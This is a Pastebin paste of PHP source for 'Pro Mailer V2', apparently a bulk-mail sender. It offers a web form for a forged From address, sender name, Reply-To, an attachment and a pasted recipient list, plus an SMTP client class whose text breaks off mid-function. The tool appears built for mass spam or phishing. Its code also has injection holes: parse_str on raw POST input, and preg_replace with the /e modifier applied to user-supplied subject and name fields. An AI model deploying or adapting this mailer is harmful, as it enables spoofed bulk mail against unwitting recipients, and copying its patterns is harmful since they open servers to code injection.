jaenudinmaulana69

Pro Mailer V2

Nov 22nd, 2019
693
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 104.70 KB | None | 0 0
  1. <?php
  2. // @~ PRO Mailer V2
  3. error_reporting(0);
  4. function query_str($params){
  5. $str = '';
  6. foreach ($params as $key => $value) {
  7. $str .= (strlen($str) < 1) ? '' : '&';
  8. $str .= $key . '=' . rawurlencode($value);
  9. }
  10. return ($str);
  11. }
  12. function lrtrim($string){
  13. return stripslashes(ltrim(rtrim($string)));
  14. }
  15. if(isset($_POST['action'] ) ){
  16.  
  17. $b = query_str($_POST);
  18. parse_str($b);  
  19. $sslclick=lrtrim($sslclick);  
  20. $action=lrtrim($action);
  21. $message=lrtrim($message);
  22. $emaillist=lrtrim($emaillist);
  23. $from=lrtrim($from);
  24. $reconnect=lrtrim($reconnect);
  25. $epriority=lrtrim($epriority);
  26. $my_smtp=lrtrim($my_smtp);
  27. $ssl_port=lrtrim($ssl_port);
  28. $smtp_username=lrtrim($smtp_username);
  29. $smtp_password=lrtrim($smtp_password);
  30. $replyto=lrtrim($replyto);
  31. $subject_base=lrtrim($subject);
  32. $realname_base=lrtrim($realname);
  33. $file_name=$_FILES['file']['name'];
  34. $file=$_FILES['file']['tmp_name'];
  35. $urlz=lrtrim($urlz);
  36. $contenttype=lrtrim($contenttype);
  37. $encode_text=$_POST['encode'];
  38.  
  39.  
  40.         $message = urlencode($message);
  41.         $message = ereg_replace("%5C%22", "%22", $message);
  42.         $message = urldecode($message);
  43.         $message = stripslashes($message);
  44.         $subject = stripslashes($subject);
  45.         if ($encode_text == "yes") {
  46.         $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  47.         $subject = str_replace(' ', '_', $subject);
  48.         $subject = "=?UTF-8?Q?$subject?=";
  49.         $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  50.         $realname = str_replace(' ', '_', $realname);
  51.         $realname = "=?UTF-8?Q?$realname?=";
  52.         }
  53. }
  54. ?>
  55.  
  56. <html>
  57.  
  58. <head>
  59.  
  60. <title>Pro Mailer V2</title>
  61. <link rel="SHORTCUT ICON" href="http://s25.postimg.org/4bzq9e2jv/slackercodeico.png"/>
  62. <meta name="robots" content="noindex,nofollow" />
  63. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  64. <script src='https://sites.google.com/site/jquery1000/jquery-1.6.1.js'></script>
  65. <style type="text/css">
  66. <!--
  67. .style1 {
  68.         font-family: Geneva, Arial, Helvetica, sans-serif;
  69.         font-size: 12px;
  70. }
  71. body{
  72. margin:0px;
  73. }
  74. .bgup {
  75. background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
  76. }
  77.  
  78. .cadre {
  79. background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
  80. }
  81.  
  82. .uibutton {
  83.     position: relative;
  84.     z-index: 1;
  85.     overflow: visible;
  86.     display: inline-block;
  87.     padding: 0.3em 0.6em 0.375em;
  88.     border: 1px solid #01A9DB;
  89.     border-bottom-color: #01A9DB;
  90.    
  91.     margin: 0;
  92.     text-decoration: none;
  93.     text-align: center;
  94.     font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
  95.     white-space: nowrap;
  96.     cursor: pointer;
  97.     /* outline: none; */
  98.     color: #f9f9f9;
  99.     background-color: #eee;
  100.     background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
  101.     background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
  102.     background-image: -o-linear-gradient(#01A9DB, #01A9DB);
  103.     background-image: linear-gradient(#01A9DB, #01A9DB);
  104.  
  105.     /* IE hacks */
  106.  
  107.     *display: inline;
  108.  
  109. }
  110.  
  111. .uibutton:hover,
  112. .uibutton:focus,
  113. .uibutton:active {
  114.     border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
  115. }
  116.  
  117. .uibutton:active {
  118.     border-color: #01A9DB;
  119.     background: #01A9DB;
  120.     filter: none;
  121.     -webkit-box-shadow: none;
  122.     -moz-box-shadow: none;
  123.     box-shadow: none;
  124. }
  125.  
  126. /* overrides extra padding on button elements in Firefox */
  127. .uibutton::-moz-focus-inner {
  128.     padding: 0;
  129.     border: 0;
  130. }
  131.  
  132.  
  133.  
  134. -->
  135. </style>
  136. <style type="text/css">
  137. <!--
  138. .style1 {
  139.         font-size: 10px;
  140.         font-family: Geneva, Arial, Helvetica, sans-serif;
  141. }
  142. -->
  143. </style>
  144. </head>
  145. <body bgcolor="#f9f9f9" class="bgup">
  146. <div class="cadre" style="height:10px;margin:0px auto;"></div>
  147. <div style="width:80%;margin:0 auto;">
  148. <p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
  149. <form name="form1" method="post" action="" enctype="multipart/form-data">
  150.  
  151.   <br>
  152.  
  153.   <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
  154.  
  155.     <tr>
  156.  
  157.       <td width="100%" colspan="4"  style="color:#fff;background:#01A9DB" height="36">
  158.  
  159.         <b>
  160.  
  161.         <font face="Arial" size="2" >&nbsp;SMTP SETUP</font></b></td>
  162.  
  163.       </tr>
  164.     <tr >
  165.  
  166.       <td width="10%" height="22" style="padding:10px;">
  167.    
  168.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  169.  
  170.       </td>
  171.  
  172.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  173.  
  174.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?php $smtp_username;?>" size="30">
  175.  
  176.         </font></td>
  177.  
  178.       <td width="31%" height="22" style="padding:10px;">
  179.  
  180.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  181.  
  182.       </td>
  183.  
  184.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  185.  
  186.         <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?php $smtp_password;?>" size="30">
  187.  
  188.         </font></td>
  189.  
  190.     </tr>
  191.     <tr>
  192.  
  193.       <td width="10%" height="22" style="padding:10px;">
  194.  
  195.         <div align="right">
  196.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  197.  
  198.       </td>
  199.  
  200.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  201.  
  202.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?php $ssl_port;?>" size="5">
  203.       (optional)</font></td>
  204.  
  205.       <td width="31%" height="22" style="padding:10px;">
  206.  
  207.         <div align="right">
  208.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  209.           Smtp:</font></div>
  210.  
  211.       </td>
  212.  
  213.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  214.  
  215.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?php $my_smtp;?>" size="30">
  216.  
  217.         </font></td>
  218.  
  219.     </tr>
  220.     <tr>
  221.  
  222.       <td width="10%" height="22" style="padding:10px;">
  223.  
  224.         <p align="right">
  225.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  226.  
  227.       <td width="18%" height="22" style="padding:10px;">
  228.       <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <?php if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  229.  
  230.       <td width="31%" height="22" style="padding:10px;">
  231.  
  232.         <p align="right">
  233.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  234.         After:</font></td>
  235.  
  236.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  237.  
  238.         <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?php $reconnect;?>" size="5">
  239.       EMAILS</font></td>
  240.  
  241.     </tr>
  242.     <tr>
  243.  
  244.       <td width="100%" height="39"  colspan="4" style="padding:10px;">
  245.  
  246.         <p align="center">
  247.         <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  248.         you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  249.  
  250.       </tr>
  251.  
  252.     <tr>
  253.  
  254.       <td width="10%" height="19" style="padding:10px;">
  255.  
  256.         &nbsp;</td>
  257.  
  258.       <td width="18%" height="19" style="padding:10px;">&nbsp;</td>
  259.  
  260.       <td width="31%" height="19" style="padding:10px;">
  261.  
  262.         &nbsp;</td>
  263.  
  264.       <td width="41%" height="19" style="padding:10px;">&nbsp;</td>
  265.  
  266.     </tr>
  267.  
  268.     <tr>
  269.  
  270.       <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
  271.  
  272.         <b>
  273.  
  274.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  275.  
  276.       </tr>
  277.           <tr>
  278.  
  279.       <td width="10%" height="22" style="padding:10px;">
  280.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
  281.       </td>
  282.  
  283.       <td width="59%" height="22" style="padding:10px;"  colSpan="3">
  284.       <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  285.  
  286. <input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
  287.  
  288.         </font></td>
  289.  
  290.     </tr>
  291.     <tr>
  292.  
  293.       <td width="10%" height="22" style="padding:10px;">
  294.  
  295.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  296.  
  297.           Email:</font></div>
  298.  
  299.       </td>
  300.  
  301.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  302.  
  303.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?php $from;?>" size="30">
  304.  
  305.         </font></td>
  306.  
  307.       <td width="31%" height="22" style="padding:10px;">
  308.  
  309.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  310.  
  311.           Name:</font></div>
  312.  
  313.       </td>
  314.  
  315.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  316.  
  317.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?php $realname_base;?>" size="30">
  318.  
  319.         </font></td>
  320.  
  321.     </tr>
  322.     <tr>
  323.  
  324.       <td width="10%" height="22" style="padding:10px;">
  325.  
  326.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  327.  
  328.       </td>
  329.  
  330.       <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  331.  
  332.         <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?php $replyto;?>" size="30">
  333.  
  334.         </font></td>
  335.  
  336.       <td width="31%" height="22" style="padding:10px;">
  337.  
  338.         <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  339.         Email Priority:</font></td>
  340.  
  341.       <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  342.  
  343.         &nbsp;</font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
  344.         <option value="" <?php if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  345.         <option value="1" <?php if($epriority == "1"){print "selected";} ?> >High</option>
  346.         <option value="3" <?php if($epriority == "3"){print "selected";} ?> >Normal</option>
  347.         <option value="5" <?php if($epriority == "5"){print "selected";} ?> >Low</option>
  348.         </select></td>
  349.  
  350.     </tr>
  351.  
  352.     <tr>
  353.  
  354.       <td width="10%" height="22" style="padding:10px;">
  355.  
  356.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  357.  
  358.       </td>
  359.  
  360.       <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  361.  
  362.         <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?php $subject_base;?>" size="90">
  363.  
  364.         </font></td>
  365.  
  366.     </tr>
  367.  
  368.     <tr>
  369.  
  370.       <td width="10%" height="22" style="padding:10px;">
  371.  
  372.         &nbsp;</td>
  373.  
  374.       <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  375.  
  376.         &nbsp; <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
  377.         <option <?php if($encode_text == "yes"){print "selected";} ?>>yes</option>
  378.         <option <?php if($encode_text == "no"){print "selected";} ?>>no</option>
  379.         </select></font></td>
  380.  
  381.     </tr>
  382.  
  383.     <tr valign="top">
  384.  
  385. <td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  386.  
  387.         <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?php $message;?></textarea>
  388.  
  389.         <br>
  390.  
  391.         <input type="radio" name="contenttype" value="plain" >
  392.  
  393.         Plain
  394.  
  395.         <input type="radio" name="contenttype" value="html" checked>
  396.  
  397.         HTML
  398.  
  399.         <input type="hidden" name="action" value="send">
  400.         <input class="uibutton" type="submit" value="Send Message">
  401.  
  402.         </font></td>
  403.  
  404.       <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  405.  
  406.         <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?php $emaillist;?></textarea>
  407.  
  408.         </font></td>
  409.  
  410.     </tr>
  411.  
  412.   </table>
  413.  
  414. </form>
  415.  
  416.  
  417.  
  418. <?php
  419.  
  420. if ($action){
  421.         if (!$from && !$subject && !$message && !$emaillist){
  422.         print "<script>alert('Please complete all fields before sending your message.'); </script>";
  423.         die();  }
  424.  
  425. class SMTP
  426. {
  427.   /**
  428.    *  SMTP server port
  429.    *  @var int
  430.    */
  431.   var $SMTP_PORT = 25;
  432.  
  433.   /**
  434.    *  SMTP reply line ending
  435.    *  @var string
  436.    */
  437.   var $CRLF = "\r\n";
  438.  
  439.   /**
  440.    *  Sets whether debugging is turned on
  441.    *  @var bool
  442.    */
  443.   var $do_debug;       # the level of debug to perform
  444.  
  445.   /**
  446.    *  Sets VERP use on/off (default is off)
  447.    *  @var bool
  448.    */
  449.   var $do_verp = false;
  450.  
  451.   /**#@+
  452.    * @access private
  453.    */
  454.   var $smtp_conn;      # the socket to the server
  455.  var $error;          # error if any on the last call
  456.  var $helo_rply;      # the reply the server sent to us for HELO
  457.  /**#@-*/
  458.  
  459.   /**
  460.    * Initialize the class so that the data is in a known state.
  461.    * @access public
  462.    * @return void
  463.    */
  464.   function SMTP() {
  465.     $this->smtp_conn = 0;
  466.     $this->error = null;
  467.     $this->helo_rply = null;
  468.  
  469.     $this->do_debug = 0;
  470.   }
  471.  
  472.   /*************************************************************
  473.    *                    CONNECTION FUNCTIONS                  *
  474.    ***********************************************************/
  475.  
  476.   /**
  477.    * Connect to the server specified on the port specified.
  478.    * If the port is not specified use the default SMTP_PORT.
  479.    * If tval is specified then a connection will try and be
  480.    * established with the server for that number of seconds.
  481.    * If tval is not specified the default is 30 seconds to
  482.    * try on the connection.
  483.    *
  484.    * SMTP CODE SUCCESS: 220
  485.    * SMTP CODE FAILURE: 421
  486.    * @access public
  487.    * @return bool
  488.    */
  489.   function Connect($host,$port=0,$tval=30) {
  490.     # set the error val to null so there is no confusion
  491.    $this->error = null;
  492.  
  493.     # make sure we are __not__ connected
  494.    if($this->connected()) {
  495.       # ok we are connected! what should we do?
  496.      # for now we will just give an error saying we
  497.      # are already connected
  498.      $this->error = array("error" => "Already connected to a server");
  499.       return false;
  500.     }
  501.  
  502.     if(empty($port)) {
  503.       $port = $this->SMTP_PORT;
  504.     }
  505.  
  506.     #connect to the smtp server
  507.    $this->smtp_conn = fsockopen($host,    # the host of the server
  508.                                 $port,    # the port to use
  509.                                 $errno,   # error number if any
  510.                                 $errstr,  # error message if any
  511.                                 $tval);   # give up after ? secs
  512.    # verify we connected properly
  513.    if(empty($this->smtp_conn)) {
  514.       $this->error = array("error" => "Failed to connect to server",
  515.                            "errno" => $errno,
  516.                            "errstr" => $errstr);
  517.       if($this->do_debug >= 1) {
  518.         echo "SMTP -> ERROR: " . $this->error["error"] .
  519.                  ": $errstr ($errno)" . $this->CRLF;
  520.       }
  521.       return false;
  522.     }
  523.  
  524.     # sometimes the SMTP server takes a little longer to respond
  525.    # so we will give it a longer timeout for the first read
  526.    // Windows still does not have support for this timeout function
  527.     if(substr(PHP_OS, 0, 3) != "WIN")
  528.      socket_set_timeout($this->smtp_conn, $tval, 0);
  529.  
  530.     # get any announcement stuff
  531.    $announce = $this->get_lines();
  532.  
  533.     # set the timeout  of any socket functions at 1/10 of a second
  534.    //if(function_exists("socket_set_timeout"))
  535.     //   socket_set_timeout($this->smtp_conn, 0, 100000);
  536.  
  537.     if($this->do_debug >= 2) {
  538.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  539.     }
  540.  
  541.     return true;
  542.   }
  543.  
  544.   /**
  545.    * Performs SMTP authentication.  Must be run after running the
  546.    * Hello() method.  Returns true if successfully authenticated.
  547.    * @access public
  548.    * @return bool
  549.    */
  550.   function Authenticate($username, $password) {
  551.     // Start authentication
  552.     fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  553.  
  554.     $rply = $this->get_lines();
  555.     $code = substr($rply,0,3);
  556.  
  557.     if($code != 334) {
  558.       $this->error =
  559.         array("error" => "AUTH not accepted from server",
  560.               "smtp_code" => $code,
  561.               "smtp_msg" => substr($rply,4));
  562.       if($this->do_debug >= 1) {
  563.         echo "SMTP -> ERROR: " . $this->error["error"] .
  564.                  ": " . $rply . $this->CRLF;
  565.       }
  566.       return false;
  567.     }
  568.  
  569.     // Send encoded username
  570.     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  571.  
  572.     $rply = $this->get_lines();
  573.     $code = substr($rply,0,3);
  574.  
  575.     if($code != 334) {
  576.       $this->error =
  577.         array("error" => "Username not accepted from server",
  578.               "smtp_code" => $code,
  579.               "smtp_msg" => substr($rply,4));
  580.       if($this->do_debug >= 1) {
  581.         echo "SMTP -> ERROR: " . $this->error["error"] .
  582.                  ": " . $rply . $this->CRLF;
  583.       }
  584.       return false;
  585.     }
  586.  
  587.     // Send encoded password
  588.     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  589.  
  590.     $rply = $this->get_lines();
  591.     $code = substr($rply,0,3);
  592.  
  593.     if($code != 235) {
  594.       $this->error =
  595.         array("error" => "Password not accepted from server",
  596.               "smtp_code" => $code,
  597.               "smtp_msg" => substr($rply,4));
  598.       if($this->do_debug >= 1) {
  599.         echo "SMTP -> ERROR: " . $this->error["error"] .
  600.                  ": " . $rply . $this->CRLF;
  601.       }
  602.       return false;
  603.     }
  604.  
  605.     return true;
  606.   }
  607.  
  608.   /**
  609.    * Returns true if connected to a server otherwise false
  610.    * @access private
  611.    * @return bool
  612.    */
  613.   function Connected() {
  614.     if(!empty($this->smtp_conn)) {
  615.       $sock_status = socket_get_status($this->smtp_conn);
  616.       if($sock_status["eof"]) {
  617.         # hmm this is an odd situation... the socket is
  618.        # valid but we are not connected anymore
  619.        if($this->do_debug >= 1) {
  620.             echo "SMTP -> NOTICE:" . $this->CRLF .
  621.                  "EOF caught while checking if connected";
  622.         }
  623.         $this->Close();
  624.         return false;
  625.       }
  626.       return true; # everything looks good
  627.    }
  628.     return false;
  629.   }
  630.  
  631.   /**
  632.    * Closes the socket and cleans up the state of the class.
  633.    * It is not considered good to use this function without
  634.    * first trying to use QUIT.
  635.    * @access public
  636.    * @return void
  637.    */
  638.   function Close() {
  639.     $this->error = null; # so there is no confusion
  640.    $this->helo_rply = null;
  641.     if(!empty($this->smtp_conn)) {
  642.       # close the connection and cleanup
  643.      fclose($this->smtp_conn);
  644.       $this->smtp_conn = 0;
  645.     }
  646.   }
  647.  
  648.   /***************************************************************
  649.    *                        SMTP COMMANDS                       *
  650.    *************************************************************/
  651.  
  652.   /**
  653.    * Issues a data command and sends the msg_data to the server
  654.    * finializing the mail transaction. $msg_data is the message
  655.    * that is to be send with the headers. Each header needs to be
  656.    * on a single line followed by a <CRLF> with the message headers
  657.    * and the message body being seperated by and additional <CRLF>.
  658.    *
  659.    * Implements rfc 821: DATA <CRLF>
  660.    *
  661.    * SMTP CODE INTERMEDIATE: 354
  662.    *     [data]
  663.    *     <CRLF>.<CRLF>
  664.    *     SMTP CODE SUCCESS: 250
  665.    *     SMTP CODE FAILURE: 552,554,451,452
  666.    * SMTP CODE FAILURE: 451,554
  667.    * SMTP CODE ERROR  : 500,501,503,421
  668.    * @access public
  669.    * @return bool
  670.    */
  671.   function Data($msg_data) {
  672.     $this->error = null; # so no confusion is caused
  673.  
  674.     if(!$this->connected()) {
  675.       $this->error = array(
  676.               "error" => "Called Data() without being connected");
  677.       return false;
  678.     }
  679.  
  680.     fputs($this->smtp_conn,"DATA" . $this->CRLF);
  681.  
  682.     $rply = $this->get_lines();
  683.     $code = substr($rply,0,3);
  684.  
  685.     if($this->do_debug >= 2) {
  686.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  687.     }
  688.  
  689.     if($code != 354) {
  690.       $this->error =
  691.         array("error" => "DATA command not accepted from server",
  692.               "smtp_code" => $code,
  693.               "smtp_msg" => substr($rply,4));
  694.       if($this->do_debug >= 1) {
  695.         echo "SMTP -> ERROR: " . $this->error["error"] .
  696.                  ": " . $rply . $this->CRLF;
  697.       }
  698.       return false;
  699.     }
  700.  
  701.     # the server is ready to accept data!
  702.    # according to rfc 821 we should not send more than 1000
  703.    # including the CRLF
  704.    # characters on a single line so we will break the data up
  705.    # into lines by \r and/or \n then if needed we will break
  706.    # each of those into smaller lines to fit within the limit.
  707.    # in addition we will be looking for lines that start with
  708.    # a period '.' and append and additional period '.' to that
  709.    # line. NOTE: this does not count towards are limit.
  710.  
  711.     # normalize the line breaks so we know the explode works
  712.    $msg_data = str_replace("\r\n","\n",$msg_data);
  713.     $msg_data = str_replace("\r","\n",$msg_data);
  714.     $lines = explode("\n",$msg_data);
  715.  
  716.     # we need to find a good way to determine is headers are
  717.    # in the msg_data or if it is a straight msg body
  718.    # currently I am assuming rfc 822 definitions of msg headers
  719.    # and if the first field of the first line (':' sperated)
  720.    # does not contain a space then it _should_ be a header
  721.    # and we can process all lines before a blank "" line as
  722.    # headers.
  723.    $field = substr($lines[0],0,strpos($lines[0],":"));
  724.     $in_headers = false;
  725.     if(!empty($field) && !strstr($field," ")) {
  726.       $in_headers = true;
  727.     }
  728.  
  729.     $max_line_length = 998; # used below; set here for ease in change
  730.  
  731.     while(list(,$line) = @each($lines)) {
  732.       $lines_out = null;
  733.       if($line == "" && $in_headers) {
  734.         $in_headers = false;
  735.       }
  736.       # ok we need to break this line up into several
  737.      # smaller lines
  738.      while(strlen($line) > $max_line_length) {
  739.         $pos = strrpos(substr($line,0,$max_line_length)," ");
  740.  
  741.         # Patch to fix DOS attack
  742.        if(!$pos) {
  743.           $pos = $max_line_length - 1;
  744.         }
  745.  
  746.         $lines_out[] = substr($line,0,$pos);
  747.         $line = substr($line,$pos + 1);
  748.         # if we are processing headers we need to
  749.        # add a LWSP-char to the front of the new line
